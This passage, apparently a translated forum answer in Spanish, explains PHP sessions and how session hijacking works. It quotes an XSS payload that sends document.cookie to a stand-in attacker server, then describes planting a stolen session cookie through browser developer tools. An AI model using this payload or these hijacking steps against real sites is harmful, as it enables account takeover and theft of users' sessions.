... php escribe la cookie en un archivo. (Creo que esa es una de las
procesos normales).
Por lo que escribiste anteriormente, parece que podría haber algún error con tu comprensión sobre cómo se crea y mantiene una sesión en un sitio web. Cuando un usuario inicia sesión en un sitio web, se genera un ID de sesión y este ID se almacena en una cookie especial, conocida como cookie de sesión, en el navegador del cliente, como esto:
PHPSESSID:fgws4j52jcm10dkgw02nd2
Al mismo tiempo, se crea un archivo de sesión (o fila de base de datos) con la misma identificación que contiene variables (como el nombre de usuario, el tiempo de inicio de sesión) relacionadas con ese usuario en particular. Estas variables de sesión se almacenan en el lado del servidor y se invocan desde la matriz superglobal $_SESSION
cuando se inicia una sesión.
Para secuestrar una sesión, lo que necesita es una cookie que contenga el par nombre-valor como el anterior. Una condición previa es que la víctima debe iniciar sesión durante el ataque, de modo que el archivo de sesión con el id. Robado todavía esté actualizado en el servidor. Además, el sitio web no debe realizar otras comprobaciones extrañas (como el agente de usuario o la dirección IP) para impedir a los piratas informáticos.
<script>location.href = 'http://myserverIP/test/signup.php?cookie='+document.cookie;</script>
El javascript que escribió anteriormente simplemente inyecta un par nombre-valor en la matriz superglobal $_GET
. Lo que desea es transmitir el par nombre-valor utilizando la cookie de su navegador, ciertamente no con la URL.
La mayoría de los navegadores modernos almacenan la información de las cookies en una base de datos como sqlite. Para editar una cookie, debe acceder a la consola web o a la barra de herramientas del desarrollador que está cubierta aquí para Chrome y aquí está en Firefox .